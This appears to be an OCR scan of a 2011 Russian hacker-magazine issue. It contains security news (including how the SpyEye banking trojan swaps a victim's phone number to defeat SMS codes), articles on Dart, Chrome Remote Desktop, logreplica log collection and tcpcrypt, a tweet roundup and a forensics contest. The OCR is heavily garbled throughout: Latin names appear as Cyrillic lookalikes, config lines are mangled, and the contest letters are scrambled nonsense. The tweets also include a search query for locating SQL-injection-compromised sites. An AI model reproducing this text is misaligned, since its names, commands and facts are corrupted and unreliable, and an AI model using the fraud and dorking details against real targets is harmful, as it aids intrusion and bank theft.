скоро пополнится инстру- 
ментом сІеЫиггіпд для 
восстановления смазанных 
снимков. До появления кноп- 
ки «Сделать круто!» уже 
точно осталось недолго:). 



ВСЕНТЯБРЕДОЛЯ СПАМА 
В ПОЧТОВОМ ТРАФИКЕ 

по сравнению с августом 
уменьшилась на 1,5% и 
составила в среднем 78,5%, 
сообщает «Лаборатория 
Касперского». 



РАСЕВООКТЕПЕРЬ БУДЕТ АНАЛИЗИРОВАТЬ КАЖДУЮ ССЫЛ- 
КУ В РЕЖИМЕ РЕАЛЬНОГО ВРЕМЕНИ. Новый механизм защиты 
призван оградить пользователей от ссылок на «нехорошие» 
сайты. Анализ будет проводиться с помощью технологии АСЕ, 
разработанной компанией ѴѴеЬзсепзе. Юзеры смогутузнать 
о причинах, по которым сайт был признан опасным, а также 
перейти по ссылке, несмотря на предупреждение. 
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МЕ6АЫЕѴѴ5 



В 9Т05МАС ОБНАРУЖИЛИ, ЧТО ДАЖЕ ЗАПАРОЛ ЕННЫЙ ІРАР 2 можно взломать с помощью обложки БтаП Соѵег. 



НОВОСТИ О 5РУЕУЕ 



ЗНАКОМЬТЕСЬ— ОАРТ 



БАНКОВСКИЙ ТРОЯНЕЦУЧИТСЯ ОБХОДИТЬ 
НОВЫЕ УРОВНИ ЗАЩИТЫ 



КОМПАНИЯ С006І.Е ОФИЦИАЛ ЬНО ПРЕДСТАВИЛА 
НОВЫЙ ЯЗЫК ПРОГРАММИРОВАНИЯ 




БруЕуе уже умеет 
перехватыватьБМБ 
и поддерживать 
плагины сторонних 
разработчиков^ 
его мобильная вер- 
сиятеперьработает 
всвязкесверсией 
для ПК. 



ксперты компании Тгизіеег обнаружили, что в арсенале 
5руЕуе поя вился новый прием. Как известно, банки часто 
используют двухуровневую систему аутентификации: на 
мобильный телефон клиента высылается 5М5 с кодом, который 
следует ввести в веб -фор му для подтверждения транзакции. Ком- 
бинация М ІІВ -атаки с элементами социального инжиниринга теперь 
позволяет злоумышлен никам подменять номер телефона, привя- 
занный к аккаунту в системе онлайн- банкинга, и беспрепятственно 
проводить финансовые операции от имени клиента, которому при- 
надлежит этот аккаунт. Как ни смешно, легализовать новый номер 
в системе онлайн-банкинга помогает, сам того не ведая, владелец 
зараженного устройства. Происходит все так: с помощью своего 
стандартного функционала 5руЕуе крадет регистрационные данные 
целевого аккаунта. Как только владелец аккаунта заходит на сайт 
банка, троян на лету подменяет страницу и запрашивает текущий 
персональный код, который якобы нужен для завершения регистра- 
ции на новом бес платном сервисе по обеспечению безопасности. 
Если у жертвы не возникает никаких подозрений, злоумышленники 
получают идентификатор, необходимый для замены номера теле- 
фона в учетной записи клиента. После этого жертве сообщают, что в 
целях усиления защиты от мошенничества ей будет выделен особый 
телефонный номер, апо почте придет соответствующая 51 М- карта. 
Судя по оформлению фальшивой страницы, которую удалось раздо- 
быть исследователям, такая атака пока ориентирована только на 
испаноязычных пользователей. 



РОССИЙСКАЯ ТАМОЖНЯ ПРИРАВНЯЛА ПЛАНШЕТ К НАВИГАТОРУ 



НАША ТАМОЖНЯ ТЕПЕРЬ 
РАССМАТРИВАЕТ ПЛАНШЕ- 
ТЫ С 6Р5-М0ДУЛ ЕМ КАК НА- 
ВИГАТОРЫ. А ЭТО ОЗНАЧАЕТ, 
ЧТО ПРИ ВВОЗЕ НА ТЕРРИ- 
ТОРИЮ РОССИИ ОНИ БУДУТ 
ОБЛАГАТЬСЯ ДОПОЛНИ- 
ТЕЛЬНОЙ 5%-И ПОШЛИНОЙ. 



омпания 
Зоодіе 
провела 

презентацию, на 
которой представила 
всему миру про- 
ект йаг* (багііапд. 
огд). Это объектно- 
ориентированный 
структурированный 
язык программирования, разработанный для устранения ряда 
трудностей, которые возникают при создании веб -базированных 
приложений. Его структура похожа на структуру ЭаѵаЗсгірЕ Из- 
вестно, что во внутренней переписке компании йаг* называли 
дополнением и даже заменой ЭаѵаЗсгірІ, серьезные изъяны 
которого невозможно исправить путем эволюционного развития. 
Код нового языка, доступный для свободной загрузки, распро- 
страняется под лицензией В50. Пока йаг* находится на ранней 
стадии разработки. Создатель языка, известный программист 
Ларе Бак работает со своей командой в датском офисе. Дополни- 
тельный инструментарий разрабатывает группа Брюса Джонсона 
в Атланте, а реализацией поддержки уровня ѴѴеЫпзресІог для 
йаг* и Н а гтопу занимается Павел Фельдман вместе с разработ- 
чиками из Санкт-Петербурга. По словам создателей, главными 
преимуществами йаг* являются гибкость, легкость в освоении 
и универсальность — написанные на нем приложения будут 
успешно работать во всех современных браузерах, в том числе и 
в их версиях для мобильных девайсов. Это станет возможным не 
в последнюю очередь благодаря тому, что код языка йаг* пока 
компилируется в обычный ЭаѵаЗсгірП 

На сер верной стороне приложения йаг* могут исполняться на 
специальной виртуальной машине Ба гі. Также Зоодіе планирует 
включить виртуальную машину Оагі в СИ готе, что позволит соз- 
давать клиентские приложения, исполняемые прямо в браузере 
Зоодіе или в операционной системе СИ го те 05. 

Ключевые преимущества нового языка таковы: 

• Наличие классов и интерфейсов, поддерживающих инкапсу- 
ляцию и повторное использование методов и данных. 

• Наличие опциональных типов, позволяющих переходить от 
самых простых приложений к сложным модульным системам и 
использовать дебаггеры для проверки типов. 

• Возможность создавать и использовать библиотеки, которые 
гарантированно не будут изменяться во время выполнения. 

• Наличие обширного инструментария. йаг* — это не только 
язык, но и множество сред выполнения, библиотек и инстру- 
ментов для разработки и поддержки языка. В помощь раз- 
работчику планируется создать множество дополнительных 
программ. 

Интересно, что йаг* — не первый проект подобного рода для 
Зоодіе. В 2006 году компания выпустила Зоодіе ѴѴеЬТооІкіІ, по- 
зволяющий создавать веб -приложения полностью на Эаѵа. На 
нем, к примеру, работают Асіѵѵогсіз и Зоодіе ѴѴаѵе. Тем не менее 
Зоодіе ѴѴеЬ Тооікіі нельзя назвать особенно удачным проектом. А 
ведь в нем реализованы практически все преимущества и фишки 
языка Оагі, которые столь активно рекламирует Зоодіе... 

Поклонникам Баг* еще предстоит доказать, что всех до- 
стоинств этого языка достаточно, чтобы перейти на него. йаг* 
уже подвергся довольно жесткой критике со стороны многих 
разработчиков, которые уверены, что и этот проект Зоодіе «не 
выстрелит». 



РАРТ 
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ЕІІКОРЕАИ АТМ5ЕСІІКІТѴТЕАМ СООБЩАЕТ, что количество скиммеров, устанавливаемых на банкоматы, сократилось на 33%. 



УДАЛЕННЫЙ РАБОЧИЙ 
СТОЛ ВСНРОМЕ 

В 60061-Е РАЗРАБАТЫВАЮТ НОВОЕ РАСШИРЕНИЕ 
ДЛЯ БРАУЗЕРА, ПОЗВОЛЯЮЩЕЕ ПОЛУЧИТЬ 
УДАЛЕННЫЙ ДОСТУП КРАБОЧЕМУ СТОЛУ ПК 

□ тало известно, что компания боодіе работает над сервисом, 
который позволит пользователям двух любых компьютеров 
соединяться друг с другом. Для использования такой системы 
пиринговой связи потребуется только доступ кинтернету и, разумеет- 
ся, браузер СИ готе. Приложение, которое получило название СИ готе 
Ретоіе безкіор, сейчас находится в стадии бета-тестирования. 

Новинка войдет в версии браузера для ѴѴіпсІоѵѵз, Мае 05 и Ып их, а также 
появится в СЬготе-планшетах. СЬгоітіе Ретоіе безкіоруже доступен 
в виде бета-версии расширения для СЬготе. Подобный сервис будет 
полезен какдля служб ІТ-поддержки, таки для обычных пользова- 
телей, которые хотят напрямую связываться друг с другом. Функция 
для удаленного доступа к собствен ному компьютеру пользователя (по 
постоянному коду аутентификации) появится немного позже. Текущая 
бета-версия расширения созданатолькодлятого, чтобы собратьот- 
зывы пользователей. 

В боодіе подтверждают, что в первую очередьэто приложение ори- 
ентировано на бизнес-пользователей, испытывающих необходимость 
в прямой коммуникации, а также на службы технической поддержки. 
Кроме того, боодіе планирует встроить в СЬготе ПО, которому пред- 
стоит конкурировать с популярными системами интернет-телефонии. 
Новинка будетбазироваться на протоколе ѴѴеЬРТС (РеаІТіте 
СоттипісаЬопз), имеющем открытый исходный код и предназначенном 
для организации аудио- и видеочатов. боодіе надеется, что ѴѴеЬРТС 
станет веб-стандартом для конференций и пиринговых коммуникаций 
за счет полного набора технологий, позволяющих создавать систе- 
мы связи. В блоге компании сообщается, что исходный код новинки 
доступен уже сейчас и его использование не требует лицензионных от- 
числений. Кстати, с технической точки зрения ничто не мешает ѴѴеЬРТС 
работать также с браузерами Орега и МогіІІа. Таким образом, если 
боодіе сможет привлечь на свою сторону хотя бы МогіІІа и Орега, то в 
трех основных браузерах появится законченная бесплатная технология 
для проведения конференций. 

По идее, смартфоны также могутподдерживатьѴѴеЬРТС. В боодіе 
пока не говорят, когда именно новая разработка появится в СЬготе. 
Известно, что в ѴѴеЬРТС используются два кодека, которые ранее были 
закрытыми: І5АС для широкополосных соединений и ЛВС для снижения 
объемов трафика, — а также применяется открытый видеокодек боодіе 
Ѵ8. Благодаря рассылке группы сЬготіит.огд стало известно, что на 




Удаленный рабочий стол СП готе ВЕТА > Подключение 



Пофпаггв Пользователя к нялтъягеру широта ШГп№ псдиючиіьсп, налилъ ы-югку 
‘Открыть доступ « этому шмыеперу' и передать вам кед доступа. 



Код доступа Педоншпыя 



ЧтаОы отарьпъджтуп к компьютеру дли другого полккиатрпя. ншмпс вдкь. 




Удаленный рабочий стол СЬготе ВЕТА > Общий доступ 



чтобы Предоставитъ другому ГтальзОйаТеп» дос Туп к рабочему стопу, перед айіе ему 

улзавдЛнмемд. 

4615 2551 7896 

Сеанс начнется после ввода этого *одв- 



Отмена 

Судя по всему, в боодіе решили создатьальтернативуТеатѴіеѵѵег 



нижнем уровне Р2Р-соединение реализовано с помощью открытой 
библиотеки ІіЬрпдІе, которая поддержи вает транспорт по ІЮР и ТСР или 
через релей боодіе. 

В данном случае используется РзеисІоТср — реализация ІіЬрпдІе, 
которая обеспечивает надёжное соединение. Поверх сессии устанавли- 
вается 55І_-соединение. Для работы со структурированными данными и 
синхронизации фреймов используется ргоІоЬиІ (Ргоіосоі ВиІТегз]. 



КОЛЛЕКЦИЯ РАККЕК ІМ6ЕЫШТѴ 
ЧЕРПАЕТ ВДОХНОВЕНИЕ ИЗ 
ЮВЕЛИРНОЙ ПРОМЫШЛЕННОСТИ, 
ГДЕ ВО ГЛАВУ ПОСТАВЛЕНЫ 
ИЗЯЩНОСТЬ И РОСКОШЬ В 
ВЫДЕЛКЕ АКСЕССУАРОВ ДЛЯ 
МУЖЧИН ИЖЕНЩИН 




ТЕХНОЛОГИЯ РАККЕК 5ТН ТЕСНЫ0І.06Ѵ 



Компания РАККЕК разработала 
новую технологию, способную изме- 
нить привычное восприятие письма. 
РагкегбТНТесЬпоІодуназванатак, 
поскольку является совершенно 
новым, пятым по счету поколением 
письменных принадлежностей. 

Она стала результатом обширного 
исследования потребностей по- 
купателей, выявив необходимость 
ручки, объединяющей в себе важ- 
ностьсовременного пишущего узла, 
превосходную мягкость письма и 
удобство быстрой замены стержня. 
Этонетолькотехнологический 
прорыв, но и безусловный пример 




современного подхода к дизайну 
аксессуаров. Коллекция Рагкег 
Іпдепиііу создана на базетехнологии 
Рагкег БТНТесЬпоІоду; сочетая в себе 
превосходный стиль и элегантность, 
эта коллекция является незамени- 
мым аксессуаром для современных 
мужчин иженщин. Коллекция Рагкег 
Іпдепиііу выпускается вдвухмоде- 
лях:вувеличенномэлегантноми 



тонком корпусах, черпая вдохнове- 
ние в новейшихтенденцияхдизайна. 
Смелое сочетание металла, шерохо- 
ватого эффекта мягкой каучуковой 
поверхности скольцевой деталиров- 
кой создаютпревосходный дизайн 
ручки, который отвечаетновейшим 
технологиям производства часов 
ведущих марок. 
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КОЛОНКА СТЁПЫ ИЛЬИНА 

Прото, как я собирал 
логи с разных серверов 



ЧТО ИСПОЛЬЗОВАТЬ? 

Каждый, кому приходилось администрировать несколько серверов, 
наверняка задумывался о том, как агрегировать логи со всех своих 
серверов в одном месте. Так случилось и со мной. Сначала я хотел 
найти какой-нибудь модный онлайн-сервис, но что новомодные 
Іоддіу, что Зріипк бесплатно предоставляли лишь очень ограничен- 
ные лимиты по объему хранимых лог-файлов и времени их хранения. 

А платные аккаунты оказались очень недешевы. К тому же, они 
подразумевают, что данные журналов будут передаваться через 
зузіод/вузіод-пд, а лично мне это не всегда удобно. Несмотря на то, что 
решение во многом является стандартом де-факто, не все сервисы 
его поддерживают. Это во-первых. Во-вторых, данные во время пере- 
дачи на сервер по сети могут безвозвратно потеряться. В-третьих, 
конфигурирование для специфических задач может оказаться до- 
вольно геморройным. Да и, по правде говоря, хочется просто сказать: 
«Забирать логи по маске такой-то с таких-то машин». В попытке найти 
зіапсіаіопе-аналог проекта І_оддІу, который можно установитьу себя, 
я наткнулся на классный проект бгауіод ( ѵѵѵѵѵѵ.дгау1од2.огд/аЬоиі ). 
представляющий собой мощную систему, которая хранит логи в базе 
данных МопдоВй и предоставляетудобный интерфейс для управле- 
ния логами. В деталях с ним мне разобраться не удалось, но зато я до 
сих пор не нарадуюсь другому проекту — утилите І_одгерІіса ( сІкІаЬ.ги/ 
ІіЬ/сІкІаЬ Іодгерііса ). Это именно то, что я искал. 

КАК РАБОТАЕТ? 

Проще подхода для сбора логов не придумаешь: Іодгерііса обходит 
по 55Н указанные ей сервера и собирает все указанные ей логи, 
постоянно проверяя их на обновление. Все, что нужно сделать, — 
это один раз указать маску имен файлов, за которыми нужно 
следить, и обозначить адреса серверов, с которых необходимо эти 
логи собирать. И все — с этого момента утилита всегда доставит 
их актуальную версию в централизованное хранилище. Для моих 
задач этот подход подходит лучше всего. Если раньше приходи- 
лось задумываться: «А поддерживает ли этот сервис передачу 
логов на удаленный сервер через зузіод/зузіод-пд?», то Іодгерііса 
это все равно. Утилита заберет любые логи, просто опираясь на их 
имена — а все остальное ей неважно. 



КАК НАСТРОИТЬ? 

Еще один плюс такого подхода в том, что на машинах-источниках 
не нужно ничего настраивать (и тем более делать это для каждого 
отдельного сервиса). Если на машинах установлен публичный 
ключ лог-сервера, они сразу же оказываются в строю. Если же 
нет, нужно создать закрытый и открытый ключи (при помощи 
ззЬ-кеудеп -I гза) и разложить их по машинам, откуда необходимо 
собирать логи (ззЬ-сору-ісІ гооШтасЫпе-Іо-Ье-риІІесІ). Конфи- 
гурирование самой Іодгерііса осуществляется через простой 
конфиг (/еІс/сІкІаЬ ІодгерІіса.сопЯ, в котором задается список 
машин для сбора логов, маски имен лог-файлов, директория для 
централизованного хранения журналов: 



# Место, где будут централизованно собираться логи 
сіезіііпаіііоп =__/ѵаг/1о§/с1и5І:ег 



# Список исключений (что не надо мониторить^) 

5кір_сІе5І=іпа1=іоп_ргебхе5 = /ѵаг/1о^:/ѵаг/ИЬ/р^5д1/сІа1=а/1о^5 



# Незначительные настройки 

зсогеЬоагсІ ^/ѵаг/гип/сІк1аЬ_1о§пер1іса . зсогеЬоагсІ 
сіеіау^ 0.25 



# Пользователь по умолчанию для обращения к удаленным машинам 
изег = гооі: 



# Указыаем файлы-логи, которые необходимо мониторить во 

# всех источниках логов на других машинах 

[біез] 

/ѵаг/1о^/{те55а^е5.таі11о^} 

/ѵаг/1о§/ІгІ:1:рсІ/*_1о§ 



# Список хостов, с которых необходимо собирать логи 

[І105І:5] 

бп5І:=тасІііпе1 . ехатріе . сот 
5есопсІ=поЬосІу@тасІііпе2 . ехатріе . сот 

Вот и все. Остается скопировать инит-скрипт сікіаб іодгерііса. 
іпіі в /еІс/іпіЕсІ и настроить его автозапуск при загрузке маши- 
ны. Далее выполняем «Мс/іпіЕсІ/сІкІаЬ_ІодгерІіса віагі», чтобы 
Іодгерііса начала собирать логи с удаленных машин. 

КТО РАЗРАБОТАЛ? 

Разработчиком этой замечательной проги является Дмитрий 
Котеров, известный своим проектом «Денвер» ( ѵѵѵѵѵѵ.сіепѵѵег.ги ). а 
также книгами по РНР (хотя код Іодгерііса полностью написан на 
РегІ). И-И 

с]ЫаЬ_к»дгерІісз / Цк(эЬ_ІрдгерІіса р5 1 

і ц-ка (іи *!□■=> и.іі; т 
им іспк: 

им ТсмД ткССеТѴП-Т зНкМ: 

им №;Э*1*сп 
им П1*4 ! РмЬ; 

им 

им ; іфяэ г 

им 



*мЪ имда 4 

н іі* 

■йНФ&.'Дзд*?! іод Г:» шШрК вдірн иг» ей» рііе* » я» к гм, \гГ . 

тинйее* 1.15, , 

■ІіФгПіт; ОРІМГ . 

< 

' «5 

.3 1 

Исходники І_одгерІіса доступны на ОіІНиЬ 
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Алексей Синцов (Оазіпізоѵ) 



Ьаскегіѵѵееіз 




(Вігпі: 

Дорогой алгоритм РасеЬоок, 
спасибо тебе за предложение 
■ стать другом нового бойфренда 
моей бывшей. Он выглядит клево. 



ГаОісІіегБІеѵепз: 

(гее(рОеппізРіІсЫе); 
рОеппізРіІсЫе = 1М1!1_1_; // :-( 

Комментарий: 

Этот месяц — просто месяц потерь. 
Ведь наряду с такими великими людьми, как 
Ритчи и Стив, в этом месяце от нас ушел еще 
и создатель языка І_ізр Джон Маккарти. 



(30x6061 72696Р: 

С. Глазунов — Чак Норрис «Гугл 
Хрома». 

ЬіСІѵ/гІЬзие . 

Комментарий: 

Сергей Глазунов, студент Тюменского 
государственного университета, в очередной 
раз нашел самые критичные и прикольные 
баги в СЬготе, чем и заслужил уважение 
коллег (а еще получил немного денежек 
от Соодіе). В этом релизе есть даже обход 
сгозз-огідіп роіісу! Скромный и скрытный 
парень, и мне остается только гордиться тем, 
что я знаю того, кто знает его ;). 




я 



$5000 



(Эуапсіех: 

Месяц поиска уязвимостей на 
Яндексе: приз нашедшему наи- 
более опасную уязвимость — 




ОРізГіегтапзЕпету: 

Встретил вчера чувака с серти- 
фикатом СІ55Р, который никогда 
не слышал о МеІазрІоіС 



тГ"^ ОБІаскБтазГііпд: 

-2147483647 дней прошло с 
момента последнего инцидента 
с Іпіедег. 



(ЭХакерКІІ: 

ѵ Яндекс заплатит пять тысяч 

долларов за обнаружение уяз- 
вимостей на своих сайтах: Дѵ 

хакер.ги/Ыод/Наск/2147.Ь1т1 . 

Н Комментарий: 

Первый подобный конкурс в России. 

И конечно, рекордная для ѵѵеЬ-уязвимостей 
сумма. Думаю, после обката этой идеи на 
конкурсе отечественный гигант интернет- 
поиска введет программу вознаграждения 
за обнаружение уязвимостей на своих 
ресурсах. 



ПЫатрагт: 

ИсЗ Поиск в боодіе по запросу 
м, <ЛШе><5сгірІ зге" игсЫпдз' 
даст тебе несколько миллионов 
сайтов, гарантированно уязвимых (!) к А5Р(. 
МЕТ)/М55СІІ_5Сіи 

□ Комментарий: 

Да-да. Произошло тут, значит, массо- 
вое заражение сайтов через 50І_і. Логично, 
что зараженные сайты можно «поломать» 
ещё раз :). 





(ЭОхсНагІіе: 

Для тех, кто беспокоится по 
поводу ІММРВ, то есть по пово- 
ду бага, о котором я собираюсь 
рассказать на Бузсап и ІпШгаІе. Короче, 
баг = халявное путешествие в экзотиче- 
скую страну. 

□ Комментарий: 

ИМЕВ — ІМоМогеРгееВидз — 
Никаких Больше Багов на Халяву. Мол, 
хотите узнать про баг — платите. А для 
некоторых путешествие в другую страну 
тоже своего рода плата за инфу о баге. 



(Втікко: 

Интересно, начал бы кто- 
нибудь жаловаться, если бы 
мы добавили сигнатуру для 
ІЕ6 в наш антивирус Р-5есиге? Например: 
«Найден ѴѴ32/ІЕ6.а, удаление...» 



Озатікоіѵи: 

Впервые с 2008 года у меня 
нет эксплойтов для удаленного 
ѵ/ выполнения кода в новой вер- 
сии Заѵа. Если у вас стоит Заѵа, вы должны 
обновить её. 



(ВСопапОВпеп: 

С нетерпением жду, когда у меня 
появятся внуки, чтобы поделить- 
ся с ними своим опытом. Мне бы 
хотелось рассказать им об Апдгу Вігсіз, Апдгу 
Вігсіз Ріо и Апдгу Вігсіз Беазопз. 



Комментарий: 

Яндекс тестирует систему поиска дыр 
силами независимых ресерчеров. Пока, к 
сожалению, в виде конкурса. 



ООхсМагІіе: 

Не могу дождаться, когда увижу 
футболку с принтом: «Я сообщил 
об уязвимости в Бесипіа и все 
что я получил — эту лузерскую футболку». 
Нет уж спасибо... #потогеІ : гееЬид5 




ВЙЕАКІЫС 

^ѴѴ5 



ГаВгеакііпдЫеѵѵз: 

75% не могут найти ошибку в 
этой штуке: 1 234567891011 
12 13 14 15 - РеТвитни, если ты 



нашел ее... 



(ВВіІІбаІез: 

Для тех из нас, кому посчастли- 
вилось работать со Стивом, это 
• была безумно великая честь. Мне 
будет очень не хватать Стива. 




гаѵиРЕ№ 

МБ ѴѴіпсІоѵѵз 0-йау, который экс- 
плуатируется Вещи и вызван уяз- 
вимостью в обработке ТшеТуре- 
шрифтов. Блокировка Т2ЕМВЕ0.0И предот- 
вращает атаку 

Комментарий: 

Друг, брат или сын... короче род- 
ственник, червя БіихІМеІ использовал 0-сІау 
уязвимость парсинга шрифтов в ядре... ох 
ты-ж ёжик! 
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НЕДОЕВ 



" РгооІ-оІ-СопсерІ 

, ЗАШИФРОВАТЬ ВЕСЬ ИНТЕРНЕТ 



Современный интернет строится на протоколах, которые чаще 
всего не обеспечивают безопасную передачу данных. По этой 
причине мы часто пишем о решениях, позволяющих зашифровать 
трафик и таким образом препятствовать его перехвату. Создатели 
нашего сегодняшнего РоС поставили амбициозную и даже дерзкую 
задачу — зашифровать весь интернет. Не с помощью отдельного 
приложения, коих сотни, а специально разработанного протокола 
Тсрсгурі [ісрсгуріога і. который совместим с обычным ТСР и «из 
коробки» поддерживает шифрование. 



В ЧЕМ ПРИКОЛ? 

Все просто. Тсрсгурі криптует весь сетевой 
трафик. В отличие от многих других решений, 
он работает «из коробки»: не требует слож- 
ного конфигурирования ОС и дополнительной 
настройки приложений. С переходом на новый 
протокол все имеющиеся соединения будут 
по-прежнему работоспособными, а исполь- 
зование нового протокола станет для них 
прозрачным. Секрет в полной обратной совме- 
стимости Тсрсгурі со стандартным ТСР. Даже 
если удаленный хост не поддерживает новый 
протокол, соединение автоматически устано- 
вится с использованием обычного протокола. 
Получается очень выгодная схема. Ты можешь 
установить Тсрсгурі, который автоматически 
будет задействован, когда это возможно, и не 
будет мешать во всех остальных случаях. 



КАК ИСПОЛЬЗОВАТЬ? 

Исходники протокола открыты ( діІІіиЬ.сопп/ 
зогЬо/ісрсгѵрі ), поэтому собрать все необхо- 
димое можно вручную. Но делать это незачем, 
потому что на официальном сайте доступны 
установщики для разных ОС (ѴѴіпсіоѵѵз, Мае 
05 X, І_іпих, РгееВЗО). Виндовая реализация 
состоит из двух компонентов: специального 
драйвера ядра (4500 строчек кода) и ивегіапсі- 
демона (7000 І_оС). 

Для установки достаточно открыть на- 
стройки нужного сетевого интерфейса и 
установить дополнительный протокол через 
стандартный мастер, выбрав в качестве 
драйвера файл пеіві.іпі. После этого, дополни- 
тельно, необходимо запустить демон Тсрсгурі. 
В случае с піх-системами установка немного 
сложнее: придется повозиться с файрволом, 



прописав несколько дополнительных правил. 
Но вместе с установочными данными постав- 
ляется отличная пошаговая инструкция. 

ИСПОЛЬЗОВАТЬЛИ? 

Примерно 79% посетителей официального 
сайта проекта используют Тсрсгурі :). Конеч- 
но, для любых других сайтов этот процент 
будет микроскопическим. Пока протокол 
находится в состоянии черновика (Іпіегпеі 
Огаіі), скорее всего, ничего не изменится 
(хорошая презентация доступна здесь: Ьіі. 
Іѵ/Іѵѵбхз ). Но если есть решение, которое 
позволяет безболезненно добавить еще один 
уровень защиты данных, то почему бы им не 
воспользоваться? 

Установи новый протокол на рабочие ма- 
шины (не проблема, если они работают через 
ЫАТ), попробуй поснифать трафик и убедить- 
ся, что данные действительно передаются в 
зашифрованном виде. Важно, что пропускная 
способность в случае Тсрсгурі не ограничена 
шириной канала какого-то посредника (как 
это бывает в случае ѴРІ\І-сервера). Шифрова- 
ние осуществляется очень быстро, практи- 
чески без накладных расходов (примерно в 
36 раз быстрее 551). Соответственно данные 
передаются не сильно медленнее, чем в от- 
крытом виде. 

Последний вопрос — насколько безопа- 
сен Тсрсгурі? Разработчики приводят дока- 
зательство состоятельности шифрования, но 
предупреждают о возможности проведения 
активной МІТМ-атаки. НС 




Ісрсгурі универсален: если какая-то из сторон не поддерживает новый 
протокол, используется привычный ТСР 



551. может быть в 82 раза медленнее открытого ТСР. 
Ісрсгурі медленнее ТСР лишь в три раза! 
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КОНКУРС! 



епоур 




ЖУРНАЛ «ХАКЕР» И КОМПАНИЯ 6МШР-ІВ, СПЕЦИАЛИЗИРУЮЩАЯСЯ НА РАССЛЕДОВАНИИ 
ИНЦИДЕНТОВ ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ, ПРЕДСТАВЛЯЮТ УНИКАЛЬНЫЙ 
КОНКУРС ПО КОМПЬЮТЕРНОЙ КРИМИНАЛИСТИКЕ. ПОБЕДИТЕЛЬ ПОЛУЧИТ ВОЗМОЖНОСТЬ 
РАБОТАТЬ В ЛАБОРАТОРИИ КОМПЬЮТЕРНОЙ КРИМИНАЛИСТИКИ 6МШР-ІВ. 



В Лабораторию компьютерной криминалистики Ѳгоир-ІВ поступили на экспертизу два 
образа носителей информации, и только тебе под силу пролить свет на произошедшие 
инциденты. Ответь на поставленные вопросы и укажи иные сведения, которые помогут 
в расследовании инцидентов информационной безопасности. 



ВРЕДОНОС НА ФЛЕШКЕ 

безопасности ЗАО «Пикатинни» сТ В^ркадьева 

Уважаемый Илья Константинович! 

«Пикатинни» зарегистрировал Инцидент ^ без °пасности (ДИБ) ЗАО 

связанный с утечкой сведений составп Я Г Ф Й 6езопа сности, 

приятия. В рамках проводаГга внутпеннГ" К0ММе Р Че «У ю тайну пред- 
накопитель Ц5В РІазЬ, принадлежащий плн раССЛедования был обнаружен 
предположительно связан с инцидентом Работ ^ С ° Т ™ НИК0В ' К0Т °Рый 
криминалистический образ накопителя в , ботниками Д ИБ был создан 
шеизложенного, прошу Вас провести кпи ^ РМЭТе гіс| * гаѵѵ Е с Учетом вы- 
образа носителя информации и установГГкГ^™ 4 ®'" 06 Исследоаа ние 

ношение к инциденту, на нем записаны. ' ие сведения ' имеющие от- 

Вопросы криминалисту: 

ТО на основании каких а п В |^зТа 0 адвони 3 бы^ е ^ ОНОСНЬІе Программы? Если да, 

их функциональные возможности и признань| таковыми? Каковы 
ствия? Каковы обстоятельГтв^установк^ 



сломанный ииих 



взлом 

Тип инцидента: ооо <<Ласт0ЧКИН хвост» 

Место инцидент . 2011 года 

Дата инцидента: Знояор 



Обстоятельства инцидента.^ администрато - 
3 ноября 2011 гора ™ т>> 6ыл зарегистриро- 

ром ООО « Ласт0Ч ^ Н м Х я иной безопасности, 
ван инцидент информ Ц> виртуального серве- 
связанныи со «взл ием операци- 

ра, работающего "°Д х в этотЖ е день 

онной системы на осн ^ и напра влен 

г:;:::^- еисслейование - 



Вопросы кримИН * П а С а ставленном образе еле- 

системе? Если да, Т ° компрометированы в 
2. Какие данные ыл вании каких 

— :г:;:-зтотвывод? 



На нашем БѴО 

ты найдешь образы 
носителей для 

криминалистического 

исследования. 



Решение задания следует оформить в виде электронного документа 
с учетом требований к оформлению криминалистических отчетов и с 
применением законодательно закрепленной терминологии. Процесс 
исследования опиши максимально подробно с указанием использо- 
ванных программных средств и особенностей их применения. 



Направь свое экспертное за- 
ключение на сопіезШдгоир-іЬ.ги 

с пометкой «Конкурс» и получи 
возможность поработать с луч- 
шими криминалистами России. 



Будь с нами! 

Стань одним из нас! 



СОѴЕВ 5Т0ГСѴ 



Никитин Сергей, ведущий специалист по компьютерной криминалистике, Сгоир-ІВ 



Реагирование 
на инциденты 



х 




СОХРАНЯЕМ, ПРОТОКОЛИРУЕМ И ОПЕЧАТЫВАЕМ! 



Заражение вирусами, 00о5, 
попытки взлома, утечки 
конфиденциальной инфор- 
мации... все эти инциденты в 
рабочих ИТ-системах иногда 
бывает нужно расследовать. 
Отечественная судебная си- 
стема настаивает на том, что 
в случае инцидентов крайне 
важно сохранять носители 
информации в неизменном 
состоянии и максимально 
точно и правильно оформ- 
лять выгружаемую из раз- 
личного оборудования и 
программного обеспечения 
информацию. Как это сде- 
лать, мы и расскажем в этой 
статье. 




РЕАГИРОВАНИЕ 

Реагирование на инцидент в любой информа- 
ционной системе включает в себя технические 
мероприятия, которые обеспечивают целост- 
ность криминалистически значимых данных для 
их судебного исследования в будущем, а также 
организационные мероприятия, которые по- 
зволяют снизить ущерб от инцидента и составить 
необходимые для правоохранительных органов 
документы. 

Суть технических мероприятий состоит в 
немедленном обеспечении целостности данных, 
потенциально имеющих отношение к инциденту, 
путем отключения, упаковки, опечатывания и 
должного хранения соответствующих носителей 
информации. Отключение носителей информа- 
ции позволяет свести к нулю риск уничтожения 
криминалистически значимых данных в резуль- 
тате работы вредоносных программ и действий 
злоумышленника, а их упаковка, опечатывание 
и должное хранение обеспечивают необходимую 
оцениваемую достоверность результатов крими- 
налистического исследования в суде. 

Организационные мероприятия заключаются 
в уведомлении подразделений (служб) информа- 
ционной безопасности и руководства организации 
о факте инцидента. Документы, составленные 
во время организационных мероприятий, могут 
служить основанием для вынесения решения о 
возбуждении уголовного дела или о назначении 
судебной экспертизы носителей информации, 
принадлежащих организации. 

ВЫЯВЛЕНИЕ ДАННЫХ, ИМЕЮЩИХ 
ОТНОШЕНИЕ К ИНЦИДЕНТУ 

Прежде всего необходимо выяснить, где на- 
ходится информация, которая имеет отношение к 
инциденту. Выстроим некую иерархию. 

1) Носитель информации 

Любой носитель информации, на котором мо- 
гут находиться нужные нам сведения. Напри- 
мер, если сотрудник подозревается в распро- 
странении конфиденциальной информации, 
это хард его компьютера. Так как информация, 



скорее всего, удалена, то придется изымать 
весь носитель целиком для ее восстановления. 

2) Файлы в файловой системе 
Положим, нам необходимо скопировать 
только ряд документов, зарегистрированных в 
файловой системе на носителе информации. В 
таком случае изымать весь носитель не имеет 
смысла. 

3) Результаты работы некого программного обе- 
спечения 

Часто важная информация хранится в виде 
результатов работы некой системы. Напри- 
